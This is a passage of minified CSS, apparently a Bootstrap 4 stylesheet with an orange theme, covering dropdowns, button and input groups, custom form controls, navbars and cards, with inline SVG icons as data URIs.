1.5rem;clear:both;font-weight:400;color:#212529;text-align:inherit;white-space:nowrap;background-color:transparent;border:0}.dropdown-item:focus,.dropdown-item:hover{color:#16181b;text-decoration:none;background-color:#f8f9fa}.dropdown-item.active,.dropdown-item:active{color:#fff;text-decoration:none;background-color:#fb771a}.dropdown-item.disabled,.dropdown-item:disabled{color:#6c757d;pointer-events:none;background-color:transparent}.dropdown-menu.show{display:block}.dropdown-header{display:block;padding:0.5rem 1.5rem;margin-bottom:0;font-size:0.875rem;color:#6c757d;white-space:nowrap}.dropdown-item-text{display:block;padding:0.25rem 1.5rem;color:#212529}.btn-group,.btn-group-vertical{position:relative;display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;vertical-align:middle}.btn-group-vertical>.btn,.btn-group>.btn{position:relative;-webkit-box-flex:1;-ms-flex:1 1 auto;flex:1 1 auto}.btn-group-vertical>.btn:hover,.btn-group>.btn:hover{z-index:1}.btn-group-vertical>.btn.active,.btn-group-vertical>.btn:active,.btn-group-vertical>.btn:focus,.btn-group>.btn.active,.btn-group>.btn:active,.btn-group>.btn:focus{z-index:1}.btn-toolbar{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-webkit-box-pack:start;-ms-flex-pack:start;justify-content:flex-start}.btn-toolbar .input-group{width:auto}.btn-group>.btn-group:not(:first-child),.btn-group>.btn:not(:first-child){margin-left:-1px}.btn-group>.btn-group:not(:last-child)>.btn,.btn-group>.btn:not(:last-child):not(.dropdown-toggle){border-top-right-radius:0;border-bottom-right-radius:0}.btn-group>.btn-group:not(:first-child)>.btn,.btn-group>.btn:not(:first-child){border-top-left-radius:0;border-bottom-left-radius:0}.dropdown-toggle-split{padding-right:0.5625rem;padding-left:0.5625rem}.dropdown-toggle-split:after,.dropright .dropdown-toggle-split:after,.dropup .dropdown-toggle-split:after{margin-left:0}.dropleft .dropdown-toggle-split:before{margin-right:0}.btn-group-sm>.btn+.dropdown-toggle-split,.btn-sm+.dropdown-toggle-split{padding-right:0.375rem;padding-left:0.375rem}.btn-group-lg>.btn+.dropdown-toggle-split,.btn-lg+.dropdown-toggle-split{padding-right:0.75rem;padding-left:0.75rem}.btn-group-vertical{-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;-webkit-box-align:start;-ms-flex-align:start;align-items:flex-start;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center}.btn-group-vertical>.btn,.btn-group-vertical>.btn-group{width:100%}.btn-group-vertical>.btn-group:not(:first-child),.btn-group-vertical>.btn:not(:first-child){margin-top:-1px}.btn-group-vertical>.btn-group:not(:last-child)>.btn,.btn-group-vertical>.btn:not(:last-child):not(.dropdown-toggle){border-bottom-right-radius:0;border-bottom-left-radius:0}.btn-group-vertical>.btn-group:not(:first-child)>.btn,.btn-group-vertical>.btn:not(:first-child){border-top-left-radius:0;border-top-right-radius:0}.btn-group-toggle>.btn,.btn-group-toggle>.btn-group>.btn{margin-bottom:0}.btn-group-toggle>.btn-group>.btn input[type=checkbox],.btn-group-toggle>.btn-group>.btn input[type=radio],.btn-group-toggle>.btn input[type=checkbox],.btn-group-toggle>.btn input[type=radio]{position:absolute;clip:rect(0, 0, 0, 0);pointer-events:none}.input-group{position:relative;display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-webkit-box-align:stretch;-ms-flex-align:stretch;align-items:stretch;width:100%}.input-group>.custom-file,.input-group>.custom-select,.input-group>.form-control,.input-group>.form-control-plaintext{position:relative;-webkit-box-flex:1;-ms-flex:1 1 auto;flex:1 1 auto;width:1%;margin-bottom:0}.input-group>.custom-file+.custom-file,.input-group>.custom-file+.custom-select,.input-group>.custom-file+.form-control,.input-group>.custom-select+.custom-file,.input-group>.custom-select+.custom-select,.input-group>.custom-select+.form-control,.input-group>.form-control+.custom-file,.input-group>.form-control+.custom-select,.input-group>.form-control+.form-control,.input-group>.form-control-plaintext+.custom-file,.input-group>.form-control-plaintext+.custom-select,.input-group>.form-control-plaintext+.form-control{margin-left:-1px}.input-group>.custom-file .custom-file-input:focus~.custom-file-label,.input-group>.custom-select:focus,.input-group>.form-control:focus{z-index:3}.input-group>.custom-file .custom-file-input:focus{z-index:4}.input-group>.custom-select:not(:last-child),.input-group>.form-control:not(:last-child){border-top-right-radius:0;border-bottom-right-radius:0}.input-group>.custom-select:not(:first-child),.input-group>.form-control:not(:first-child){border-top-left-radius:0;border-bottom-left-radius:0}.input-group>.custom-file{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center}.input-group>.custom-file:not(:last-child) .custom-file-label,.input-group>.custom-file:not(:last-child) .custom-file-label:after{border-top-right-radius:0;border-bottom-right-radius:0}.input-group>.custom-file:not(:first-child) .custom-file-label{border-top-left-radius:0;border-bottom-left-radius:0}.input-group-append,.input-group-prepend{display:-webkit-box;display:-ms-flexbox;display:flex}.input-group-append .btn,.input-group-prepend .btn{position:relative;z-index:2}.input-group-append .btn:focus,.input-group-prepend .btn:focus{z-index:3}.input-group-append .btn+.btn,.input-group-append .btn+.input-group-text,.input-group-append .input-group-text+.btn,.input-group-append .input-group-text+.input-group-text,.input-group-prepend .btn+.btn,.input-group-prepend .btn+.input-group-text,.input-group-prepend .input-group-text+.btn,.input-group-prepend .input-group-text+.input-group-text{margin-left:-1px}.input-group-prepend{margin-right:-1px}.input-group-append{margin-left:-1px}.input-group-text{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;padding:0.375rem 0.75rem;margin-bottom:0;font-size:1rem;font-weight:400;line-height:1.5;color:#495057;text-align:center;white-space:nowrap;background-color:#e9ecef;border:1px solid #ced4da;border-radius:0.25rem}.input-group-text input[type=checkbox],.input-group-text input[type=radio]{margin-top:0}.input-group-lg>.custom-select,.input-group-lg>.form-control:not(textarea){height:calc(1.5em + 1rem + 2px)}.input-group-lg>.custom-select,.input-group-lg>.form-control,.input-group-lg>.input-group-append>.btn,.input-group-lg>.input-group-append>.input-group-text,.input-group-lg>.input-group-prepend>.btn,.input-group-lg>.input-group-prepend>.input-group-text{padding:0.5rem 1rem;font-size:1.25rem;line-height:1.5;border-radius:0.3rem}.input-group-sm>.custom-select,.input-group-sm>.form-control:not(textarea){height:calc(1.5em + 0.5rem + 2px)}.input-group-sm>.custom-select,.input-group-sm>.form-control,.input-group-sm>.input-group-append>.btn,.input-group-sm>.input-group-append>.input-group-text,.input-group-sm>.input-group-prepend>.btn,.input-group-sm>.input-group-prepend>.input-group-text{padding:0.25rem 0.5rem;font-size:0.875rem;line-height:1.5;border-radius:0.2rem}.input-group-lg>.custom-select,.input-group-sm>.custom-select{padding-right:1.75rem}.input-group>.input-group-append:last-child>.btn:not(:last-child):not(.dropdown-toggle),.input-group>.input-group-append:last-child>.input-group-text:not(:last-child),.input-group>.input-group-append:not(:last-child)>.btn,.input-group>.input-group-append:not(:last-child)>.input-group-text,.input-group>.input-group-prepend>.btn,.input-group>.input-group-prepend>.input-group-text{border-top-right-radius:0;border-bottom-right-radius:0}.input-group>.input-group-append>.btn,.input-group>.input-group-append>.input-group-text,.input-group>.input-group-prepend:first-child>.btn:not(:first-child),.input-group>.input-group-prepend:first-child>.input-group-text:not(:first-child),.input-group>.input-group-prepend:not(:first-child)>.btn,.input-group>.input-group-prepend:not(:first-child)>.input-group-text{border-top-left-radius:0;border-bottom-left-radius:0}.custom-control{position:relative;display:block;min-height:1.5rem;padding-left:1.5rem}.custom-control-inline{display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;margin-right:1rem}.custom-control-input{position:absolute;z-index:-1;opacity:0}.custom-control-input:checked~.custom-control-label:before{color:#fff;border-color:#fb771a;background-color:#fb771a}.custom-control-input:focus~.custom-control-label:before{-webkit-box-shadow:0 0 0 0.2rem rgba(251, 119, 26, 0.25);box-shadow:0 0 0 0.2rem rgba(251, 119, 26, 0.25)}.custom-control-input:focus:not(:checked)~.custom-control-label:before{border-color:#fdc197}.custom-control-input:not(:disabled):active~.custom-control-label:before{color:#fff;background-color:#fedfc9;border-color:#fedfc9}.custom-control-input:disabled~.custom-control-label{color:#6c757d}.custom-control-input:disabled~.custom-control-label:before{background-color:#e9ecef}.custom-control-label{position:relative;margin-bottom:0;vertical-align:top}.custom-control-label:before{position:absolute;top:0.25rem;left:-1.5rem;display:block;width:1rem;height:1rem;pointer-events:none;content:"";background-color:#fff;border:#adb5bd solid 1px}.custom-control-label:after{position:absolute;top:0.25rem;left:-1.5rem;display:block;width:1rem;height:1rem;content:"";background:no-repeat 50% / 50% 50%}.custom-checkbox .custom-control-label:before{border-radius:0.25rem}.custom-checkbox .custom-control-input:checked~.custom-control-label:after{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 8 8'%3e%3cpath fill='%23fff' d='M6.564.75l-3.59 3.612-1.538-1.55L0 4.26 2.974 7.25 8 2.193z'/%3e%3c/svg%3e")}.custom-checkbox .custom-control-input:indeterminate~.custom-control-label:before{border-color:#fb771a;background-color:#fb771a}.custom-checkbox .custom-control-input:indeterminate~.custom-control-label:after{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 4'%3e%3cpath stroke='%23fff' d='M0 2h4'/%3e%3c/svg%3e")}.custom-checkbox .custom-control-input:disabled:checked~.custom-control-label:before{background-color:rgba(251, 119, 26, 0.5)}.custom-checkbox .custom-control-input:disabled:indeterminate~.custom-control-label:before{background-color:rgba(251, 119, 26, 0.5)}.custom-radio .custom-control-label:before{border-radius:50%}.custom-radio .custom-control-input:checked~.custom-control-label:after{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='%23fff'/%3e%3c/svg%3e")}.custom-radio .custom-control-input:disabled:checked~.custom-control-label:before{background-color:rgba(251, 119, 26, 0.5)}.custom-switch{padding-left:2.25rem}.custom-switch .custom-control-label:before{left:-2.25rem;width:1.75rem;pointer-events:all;border-radius:0.5rem}.custom-switch .custom-control-label:after{top:calc(0.25rem + 2px);left:calc(-2.25rem + 2px);width:calc(1rem - 4px);height:calc(1rem - 4px);background-color:#adb5bd;border-radius:0.5rem;-webkit-transition:background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, -webkit-transform 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out;transition:background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, -webkit-transform 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out;-o-transition:transform 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out;transition:transform 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out;transition:transform 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out, -webkit-transform 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out}@media (prefers-reduced-motion:reduce){.custom-switch .custom-control-label:after{-webkit-transition:none;-o-transition:none;transition:none}}.custom-switch .custom-control-input:checked~.custom-control-label:after{background-color:#fff;-webkit-transform:translateX(0.75rem);-ms-transform:translateX(0.75rem);transform:translateX(0.75rem)}.custom-switch .custom-control-input:disabled:checked~.custom-control-label:before{background-color:rgba(251, 119, 26, 0.5)}.custom-select{display:inline-block;width:100%;height:calc(1.5em + 0.75rem + 2px);padding:0.375rem 1.75rem 0.375rem 0.75rem;font-size:1rem;font-weight:400;line-height:1.5;color:#495057;vertical-align:middle;background:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 5'%3e%3cpath fill='%23343a40' d='M2 0L0 2h4zm0 5L0 3h4z'/%3e%3c/svg%3e") no-repeat right 0.75rem center/8px 10px;background-color:#fff;border:1px solid #ced4da;border-radius:0.25rem;-webkit-appearance:none;-moz-appearance:none;appearance:none}.custom-select:focus{border-color:#fdc197;outline:0;-webkit-box-shadow:0 0 0 0.2rem rgba(251, 119, 26, 0.25);box-shadow:0 0 0 0.2rem rgba(251, 119, 26, 0.25)}.custom-select:focus::-ms-value{color:#495057;background-color:#fff}.custom-select[multiple],.custom-select[size]:not([size="1"]){height:auto;padding-right:0.75rem;background-image:none}.custom-select:disabled{color:#6c757d;background-color:#e9ecef}.custom-select::-ms-expand{display:none}.custom-select-sm{height:calc(1.5em + 0.5rem + 2px);padding-top:0.25rem;padding-bottom:0.25rem;padding-left:0.5rem;font-size:0.875rem}.custom-select-lg{height:calc(1.5em + 1rem + 2px);padding-top:0.5rem;padding-bottom:0.5rem;padding-left:1rem;font-size:1.25rem}.custom-file{position:relative;display:inline-block;width:100%;height:calc(1.5em + 0.75rem + 2px);margin-bottom:0}.custom-file-input{position:relative;z-index:2;width:100%;height:calc(1.5em + 0.75rem + 2px);margin:0;opacity:0}.custom-file-input:focus~.custom-file-label{border-color:#fdc197;-webkit-box-shadow:0 0 0 0.2rem rgba(251, 119, 26, 0.25);box-shadow:0 0 0 0.2rem rgba(251, 119, 26, 0.25)}.custom-file-input:disabled~.custom-file-label{background-color:#e9ecef}.custom-file-input:lang(en)~.custom-file-label:after{content:"Browse"}.custom-file-input~.custom-file-label[data-browse]:after{content:attr(data-browse)}.custom-file-label{position:absolute;top:0;right:0;left:0;z-index:1;height:calc(1.5em + 0.75rem + 2px);padding:0.375rem 0.75rem;font-weight:400;line-height:1.5;color:#495057;background-color:#fff;border:1px solid #ced4da;border-radius:0.25rem}.custom-file-label:after{position:absolute;top:0;right:0;bottom:0;z-index:3;display:block;height:calc(1.5em + 0.75rem);padding:0.375rem 0.75rem;line-height:1.5;color:#495057;content:"Browse";background-color:#e9ecef;border-left:inherit;border-radius:0 0.25rem 0.25rem 0}.custom-range{width:100%;height:calc(1rem + 0.4rem);padding:0;background-color:transparent;-webkit-appearance:none;-moz-appearance:none;appearance:none}.custom-range:focus{outline:none}.custom-range:focus::-webkit-slider-thumb{-webkit-box-shadow:0 0 0 1px #fff, 0 0 0 0.2rem rgba(251, 119, 26, 0.25);box-shadow:0 0 0 1px #fff, 0 0 0 0.2rem rgba(251, 119, 26, 0.25)}.custom-range:focus::-moz-range-thumb{box-shadow:0 0 0 1px #fff, 0 0 0 0.2rem rgba(251, 119, 26, 0.25)}.custom-range:focus::-ms-thumb{box-shadow:0 0 0 1px #fff, 0 0 0 0.2rem rgba(251, 119, 26, 0.25)}.custom-range::-moz-focus-outer{border:0}.custom-range::-webkit-slider-thumb{width:1rem;height:1rem;margin-top:-0.25rem;background-color:#fb771a;border:0;border-radius:1rem;-webkit-transition:background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out;transition:background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out;-o-transition:background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out;transition:background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out;transition:background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out;-webkit-appearance:none;appearance:none}@media (prefers-reduced-motion:reduce){.custom-range::-webkit-slider-thumb{-webkit-transition:none;-o-transition:none;transition:none}}.custom-range::-webkit-slider-thumb:active{background-color:#fedfc9}.custom-range::-webkit-slider-runnable-track{width:100%;height:0.5rem;color:transparent;cursor:pointer;background-color:#dee2e6;border-color:transparent;border-radius:1rem}.custom-range::-moz-range-thumb{width:1rem;height:1rem;background-color:#fb771a;border:0;border-radius:1rem;-webkit-transition:background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out;transition:background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out;-o-transition:background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out;transition:background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out;transition:background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out;-moz-appearance:none;appearance:none}@media (prefers-reduced-motion:reduce){.custom-range::-moz-range-thumb{-webkit-transition:none;-o-transition:none;transition:none}}.custom-range::-moz-range-thumb:active{background-color:#fedfc9}.custom-range::-moz-range-track{width:100%;height:0.5rem;color:transparent;cursor:pointer;background-color:#dee2e6;border-color:transparent;border-radius:1rem}.custom-range::-ms-thumb{width:1rem;height:1rem;margin-top:0;margin-right:0.2rem;margin-left:0.2rem;background-color:#fb771a;border:0;border-radius:1rem;-webkit-transition:background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out;transition:background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out;-o-transition:background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out;transition:background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out;transition:background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out;appearance:none}@media (prefers-reduced-motion:reduce){.custom-range::-ms-thumb{-webkit-transition:none;-o-transition:none;transition:none}}.custom-range::-ms-thumb:active{background-color:#fedfc9}.custom-range::-ms-track{width:100%;height:0.5rem;color:transparent;cursor:pointer;background-color:transparent;border-color:transparent;border-width:0.5rem}.custom-range::-ms-fill-lower{background-color:#dee2e6;border-radius:1rem}.custom-range::-ms-fill-upper{margin-right:15px;background-color:#dee2e6;border-radius:1rem}.custom-range:disabled::-webkit-slider-thumb{background-color:#adb5bd}.custom-range:disabled::-webkit-slider-runnable-track{cursor:default}.custom-range:disabled::-moz-range-thumb{background-color:#adb5bd}.custom-range:disabled::-moz-range-track{cursor:default}.custom-range:disabled::-ms-thumb{background-color:#adb5bd}.custom-control-label:before,.custom-file-label,.custom-select{-webkit-transition:background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out;transition:background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out;-o-transition:background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out;transition:background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out;transition:background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out}@media (prefers-reduced-motion:reduce){.custom-control-label:before,.custom-file-label,.custom-select{-webkit-transition:none;-o-transition:none;transition:none}}.nav{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;padding-left:0;margin-bottom:0;list-style:none}.nav-link{display:block;padding:0.5rem 1rem}.nav-link:focus,.nav-link:hover{text-decoration:none}.nav-link.disabled{color:#6c757d;pointer-events:none;cursor:default}.nav-tabs{border-bottom:1px solid #dee2e6}.nav-tabs .nav-item{margin-bottom:-1px}.nav-tabs .nav-link{border:1px solid transparent;border-top-left-radius:0.25rem;border-top-right-radius:0.25rem}.nav-tabs .nav-link:focus,.nav-tabs .nav-link:hover{border-color:#e9ecef #e9ecef #dee2e6}.nav-tabs .nav-link.disabled{color:#6c757d;background-color:transparent;border-color:transparent}.nav-tabs .nav-item.show .nav-link,.nav-tabs .nav-link.active{color:#495057;background-color:#fff;border-color:#dee2e6 #dee2e6 #fff}.nav-tabs .dropdown-menu{margin-top:-1px;border-top-left-radius:0;border-top-right-radius:0}.nav-pills .nav-link{border-radius:0.25rem}.nav-pills .nav-link.active,.nav-pills .show>.nav-link{color:#fff;background-color:#fb771a}.nav-fill .nav-item{-webkit-box-flex:1;-ms-flex:1 1 auto;flex:1 1 auto;text-align:center}.nav-justified .nav-item{-ms-flex-preferred-size:0;flex-basis:0;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;text-align:center}.tab-content>.tab-pane{display:none}.tab-content>.active{display:block}.navbar{position:relative;display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between;padding:0.5rem 1rem}.navbar>.container,.navbar>.container-fluid{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between}.navbar-brand{display:inline-block;padding-top:0.3125rem;padding-bottom:0.3125rem;margin-right:1rem;font-size:1.25rem;line-height:inherit;white-space:nowrap}.navbar-brand:focus,.navbar-brand:hover{text-decoration:none}.navbar-nav{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;padding-left:0;margin-bottom:0;list-style:none}.navbar-nav .nav-link{padding-right:0;padding-left:0}.navbar-nav .dropdown-menu{position:static;float:none}.navbar-text{display:inline-block;padding-top:0.5rem;padding-bottom:0.5rem}.navbar-collapse{-ms-flex-preferred-size:100%;flex-basis:100%;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;-webkit-box-align:center;-ms-flex-align:center;align-items:center}.navbar-toggler{padding:0.25rem 0.75rem;font-size:1.25rem;line-height:1;background-color:transparent;border:1px solid transparent;border-radius:0.25rem}.navbar-toggler:focus,.navbar-toggler:hover{text-decoration:none}.navbar-toggler-icon{display:inline-block;width:1.5em;height:1.5em;vertical-align:middle;content:"";background:no-repeat center center;background-size:100% 100%}@media (max-width:575.98px){.navbar-expand-sm>.container,.navbar-expand-sm>.container-fluid{padding-right:0;padding-left:0}}@media (min-width:576px){.navbar-expand-sm{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-flow:row nowrap;flex-flow:row nowrap;-webkit-box-pack:start;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand-sm .navbar-nav{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row}.navbar-expand-sm .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-sm .navbar-nav .nav-link{padding-right:0.5rem;padding-left:0.5rem}.navbar-expand-sm>.container,.navbar-expand-sm>.container-fluid{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand-sm .navbar-collapse{display:-webkit-box!important;display:-ms-flexbox!important;display:flex!important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand-sm .navbar-toggler{display:none}}@media (max-width:767.98px){.navbar-expand-md>.container,.navbar-expand-md>.container-fluid{padding-right:0;padding-left:0}}@media (min-width:768px){.navbar-expand-md{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-flow:row nowrap;flex-flow:row nowrap;-webkit-box-pack:start;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand-md .navbar-nav{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row}.navbar-expand-md .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-md .navbar-nav .nav-link{padding-right:0.5rem;padding-left:0.5rem}.navbar-expand-md>.container,.navbar-expand-md>.container-fluid{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand-md .navbar-collapse{display:-webkit-box!important;display:-ms-flexbox!important;display:flex!important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand-md .navbar-toggler{display:none}}@media (max-width:991.98px){.navbar-expand-lg>.container,.navbar-expand-lg>.container-fluid{padding-right:0;padding-left:0}}@media (min-width:992px){.navbar-expand-lg{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-flow:row nowrap;flex-flow:row nowrap;-webkit-box-pack:start;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand-lg .navbar-nav{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row}.navbar-expand-lg .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-lg .navbar-nav .nav-link{padding-right:0.5rem;padding-left:0.5rem}.navbar-expand-lg>.container,.navbar-expand-lg>.container-fluid{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand-lg .navbar-collapse{display:-webkit-box!important;display:-ms-flexbox!important;display:flex!important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand-lg .navbar-toggler{display:none}}@media (max-width:1199.98px){.navbar-expand-xl>.container,.navbar-expand-xl>.container-fluid{padding-right:0;padding-left:0}}@media (min-width:1200px){.navbar-expand-xl{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-flow:row nowrap;flex-flow:row nowrap;-webkit-box-pack:start;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand-xl .navbar-nav{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row}.navbar-expand-xl .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-xl .navbar-nav .nav-link{padding-right:0.5rem;padding-left:0.5rem}.navbar-expand-xl>.container,.navbar-expand-xl>.container-fluid{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand-xl .navbar-collapse{display:-webkit-box!important;display:-ms-flexbox!important;display:flex!important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand-xl .navbar-toggler{display:none}}.navbar-expand{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-flow:row nowrap;flex-flow:row nowrap;-webkit-box-pack:start;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand>.container,.navbar-expand>.container-fluid{padding-right:0;padding-left:0}.navbar-expand .navbar-nav{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row}.navbar-expand .navbar-nav .dropdown-menu{position:absolute}.navbar-expand .navbar-nav .nav-link{padding-right:0.5rem;padding-left:0.5rem}.navbar-expand>.container,.navbar-expand>.container-fluid{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand .navbar-collapse{display:-webkit-box!important;display:-ms-flexbox!important;display:flex!important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand .navbar-toggler{display:none}.navbar-light .navbar-brand{color:rgba(0, 0, 0, 0.9)}.navbar-light .navbar-brand:focus,.navbar-light .navbar-brand:hover{color:rgba(0, 0, 0, 0.9)}.navbar-light .navbar-nav .nav-link{color:rgba(0, 0, 0, 0.5)}.navbar-light .navbar-nav .nav-link:focus,.navbar-light .navbar-nav .nav-link:hover{color:rgba(0, 0, 0, 0.7)}.navbar-light .navbar-nav .nav-link.disabled{color:rgba(0, 0, 0, 0.3)}.navbar-light .navbar-nav .active>.nav-link,.navbar-light .navbar-nav .nav-link.active,.navbar-light .navbar-nav .nav-link.show,.navbar-light .navbar-nav .show>.nav-link{color:rgba(0, 0, 0, 0.9)}.navbar-light .navbar-toggler{color:rgba(0, 0, 0, 0.5);border-color:rgba(0, 0, 0, 0.1)}.navbar-light .navbar-toggler-icon{background-image:url("data:image/svg+xml,%3csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3e%3cpath stroke='rgba(0, 0, 0, 0.5)' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3e%3c/svg%3e")}.navbar-light .navbar-text{color:rgba(0, 0, 0, 0.5)}.navbar-light .navbar-text a{color:rgba(0, 0, 0, 0.9)}.navbar-light .navbar-text a:focus,.navbar-light .navbar-text a:hover{color:rgba(0, 0, 0, 0.9)}.navbar-dark .navbar-brand{color:#fff}.navbar-dark .navbar-brand:focus,.navbar-dark .navbar-brand:hover{color:#fff}.navbar-dark .navbar-nav .nav-link{color:rgba(255, 255, 255, 0.5)}.navbar-dark .navbar-nav .nav-link:focus,.navbar-dark .navbar-nav .nav-link:hover{color:rgba(255, 255, 255, 0.75)}.navbar-dark .navbar-nav .nav-link.disabled{color:rgba(255, 255, 255, 0.25)}.navbar-dark .navbar-nav .active>.nav-link,.navbar-dark .navbar-nav .nav-link.active,.navbar-dark .navbar-nav .nav-link.show,.navbar-dark .navbar-nav .show>.nav-link{color:#fff}.navbar-dark .navbar-toggler{color:rgba(255, 255, 255, 0.5);border-color:rgba(255, 255, 255, 0.1)}.navbar-dark .navbar-toggler-icon{background-image:url("data:image/svg+xml,%3csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3e%3cpath stroke='rgba(255, 255, 255, 0.5)' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3e%3c/svg%3e")}.navbar-dark .navbar-text{color:rgba(255, 255, 255, 0.5)}.navbar-dark .navbar-text a{color:#fff}.navbar-dark .navbar-text a:focus,.navbar-dark .navbar-text a:hover{color:#fff}.card{position:relative;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;min-width:0;word-wrap:break-word;background-color:#fff;background-clip:border-box;border:1px solid rgba(0, 0, 0, 0.125);border-radius:0.25rem}.card>hr{margin-right:0;margin-left:0}.card>.list-group:first-child .list-group-item:first-child{border-top-left-radius:0.25rem;border-top-right-radius:0.25rem}.card>.list-group:last-child 